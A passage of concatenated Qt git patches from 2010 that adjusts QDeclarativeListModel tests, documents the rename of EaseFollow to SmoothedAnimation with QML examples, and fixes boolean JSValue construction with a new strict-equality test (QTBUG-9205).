b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index fcb453c..12000d0 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -193,7 +193,7 @@ void tst_QDeclarativeListModel::dynamic_data() QTest::newRow("clear1") << "{append({'foo':456});clear();count}" << 0 << ""; QTest::newRow("clear2") << "{append({'foo':123});append({'foo':456});clear();count}" << 0 << ""; - QTest::newRow("clear2") << "{append({'foo':123});clear();get(0).foo}" << 0 << "QML ListModel (unknown location) get: index 0 out of range"; + QTest::newRow("clear3") << "{append({'foo':123});clear();get(0).foo}" << 0 << "QML ListModel (unknown location) get: index 0 out of range"; QTest::newRow("remove1") << "{append({'foo':123});remove(0);count}" << 0 << ""; QTest::newRow("remove2a") << "{append({'foo':123});append({'foo':456});remove(0);count}" << 1 << ""; @@ -290,8 +290,6 @@ void tst_QDeclarativeListModel::dynamic_worker_data() void tst_QDeclarativeListModel::dynamic_worker() { - QSKIP("", SkipAll); - QFETCH(QString, script); QFETCH(int, result); QFETCH(QString, warning); @@ -324,6 +322,7 @@ void tst_QDeclarativeListModel::dynamic_worker() // changes are reflected in the list model in the main thread if (QByteArray(QTest::currentDataTag()).startsWith("nested")) QTest::ignoreMessage(QtWarningMsg, "QML ListModel (unknown location) Cannot add nested list values when modifying or after modification from a worker script"); + QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", Q_ARG(QVariant, operations.mid(0, operations.length()-1)))); waitForWorker(item); @@ -342,7 +341,6 @@ void tst_QDeclarativeListModel::dynamic_worker() void tst_QDeclarativeListModel::convertNestedToFlat_fail() { - QSKIP("", SkipAll); // If a model has nested data, it cannot be used at all from a worker script QFETCH(QString, script); @@ -368,7 +366,7 @@ void tst_QDeclarativeListModel::convertNestedToFlat_fail() delete item; QTest::ignoreMessage(QtWarningMsg, "QThread: Destroyed while thread is still running"); - qApp->processEvents(); + qApp->processEvents(); } void tst_QDeclarativeListModel::convertNestedToFlat_fail_data() @@ -387,7 +385,6 @@ void tst_QDeclarativeListModel::convertNestedToFlat_fail_data() void tst_QDeclarativeListModel::convertNestedToFlat_ok() { - QSKIP("", SkipAll); // If a model only has plain data, it can be modified from a worker script. However, // once the model is used from a worker script, it no longer accepts nested data @@ -429,7 +426,7 @@ void tst_QDeclarativeListModel::convertNestedToFlat_ok() delete item; QTest::ignoreMessage(QtWarningMsg, "QThread: Destroyed while thread is still running"); - qApp->processEvents(); + qApp->processEvents(); } void tst_QDeclarativeListModel::convertNestedToFlat_ok_data() -- cgit v0.12 From 1190f901cbcc62ab50c66bf0a7c41bfba923da7f Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Tue, 30 Mar 2010 16:31:26 +1000 Subject: Update QmlChanges for SmoothedAnimation --- src/declarative/QmlChanges.txt | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 847f1f5..c86bdc6 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -32,6 +32,39 @@ syntax has been introduced: Item { Behavior on x {}; NumberAnimation on y {} } Only the syntax has changed, the behavior is identical. + +EaseFollow changed to SmoothedAnimation +--------------------------------------- +EaseFollow was renamed to SmoothedAnimation and now it inherits from +NumberAnimaton and as a consequence SmoothedAnimation can be used inside +Behaviors, as PropertySourceValues or in state transitions, like any other animation. + +The old EaseFollow properties changed to comply with the other declarative +animations ('source' changed to 'to'), so now 'to' changes are not +automatically 'followed' anymore. + +If you want to follow an hypothetical rect1, you should do now: + +     Rectangle { +         color: "green" +         width: 60; height: 60; +         x: rect1.x - 5; y: rect1.y - 5; +         Behavior on x { SmoothedAnimation { velocity: 200 } } +         Behavior on y { SmoothedAnimation { velocity: 200 } } +     } + +instead of the old automatic source changed tracking: + +     Rectangle { +         color: "green" +         width: 60; height: 60; +         EaseFollow on x { source: rect1.x - 5; velocity: 200 } +         EaseFollow on y { source: rect1.y - 5; velocity: 200 } +    } + +This is a syntax and behavior change. + + Script element removed ---------------------- Inline Script{} blocks have been deprecated, and will soon be removed entirely. -- cgit v0.12 From b9b305f6c7bc960101bfd883ca6e3df889483481 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Tue, 30 Mar 2010 16:37:28 +1000 Subject: Correctly construct boolean JSValue's Task-number: QTBUG-9205 --- src/script/bridge/qscriptdeclarativeclass.cpp | 12 +++++++++--- .../qdeclarativeecmascript/data/strictlyEquals.qml | 17 +++++++++++++++++ .../tst_qdeclarativeecmascript.cpp | 21 +++++++++++++++++++++ 3 files changed, 47 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp index acfb2a4..0f450ca 100644 --- a/src/script/bridge/qscriptdeclarativeclass.cpp +++ b/src/script/bridge/qscriptdeclarativeclass.cpp @@ -70,9 +70,12 @@ QScriptDeclarativeClass::Value::Value(QScriptContext *ctxt, uint value) new (this) JSC::JSValue(QScriptEnginePrivate::frameForContext(ctxt), value); } -QScriptDeclarativeClass::Value::Value(QScriptContext *ctxt, bool value) +QScriptDeclarativeClass::Value::Value(QScriptContext *, bool value) { - new (this) JSC::JSValue(QScriptEnginePrivate::frameForContext(ctxt), value); + if (value) + new (this) JSC::JSValue(JSC::JSValue::JSTrue); + else + new (this) JSC::JSValue(JSC::JSValue::JSFalse); } QScriptDeclarativeClass::Value::Value(QScriptContext *ctxt, double value) @@ -107,7 +110,10 @@ QScriptDeclarativeClass::Value::Value(QScriptEngine *eng, uint value) QScriptDeclarativeClass::Value::Value(QScriptEngine *eng, bool value) { - new (this) JSC::JSValue(QScriptEnginePrivate::get(eng)->currentFrame, value); + if (value) + new (this) JSC::JSValue(JSC::JSValue::JSTrue); + else + new (this) JSC::JSValue(JSC::JSValue::JSFalse); } QScriptDeclarativeClass::Value::Value(QScriptEngine *eng, double value) diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml b/tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml new file mode 100644 index 0000000..b9e455d --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml @@ -0,0 +1,17 @@ +import Qt 4.6 + +QtObject { + property bool test1: (a === true) + property bool test2: !(a === false) + property bool test3: (b === 11.2) + property bool test4: !(b === 9) + property bool test5: (c === 9) + property bool test6: !(c === 13) + property bool test7: (d === "Hello world") + property bool test8: !(d === "Hi") + + property bool a: true + property real b: 11.2 + property int c: 9 + property string d: "Hello world" +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 2791722c..b218d30 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -128,6 +128,7 @@ private slots: void scriptDisconnect(); void ownership(); void qlistqobjectMethods(); + void strictlyEquals(); void bug1(); void dynamicCreationCrash(); @@ -2005,6 +2006,26 @@ void tst_qdeclarativeecmascript::qlistqobjectMethods() delete object; } +// QTBUG-9205 +void tst_qdeclarativeecmascript::strictlyEquals() +{ + QDeclarativeComponent component(&engine, TEST_FILE("strictlyEquals.qml")); + + QObject *object = component.create(); + QVERIFY(object != 0); + + QCOMPARE(object->property("test1").toBool(), true); + QCOMPARE(object->property("test2").toBool(), true); + QCOMPARE(object->property("test3").toBool(), true); + QCOMPARE(object->property("test4").toBool(), true); + QCOMPARE(object->property("test5").toBool(), true); + QCOMPARE(object->property("test6").toBool(), true); + QCOMPARE(object->property("test7").toBool(), true); + QCOMPARE(object->property("test8").toBool(), true); + + delete object; +} + QTEST_MAIN(tst_qdeclarativeecmascript) #include "tst_qdeclarativeecmascript.moc" -- cgit v0.12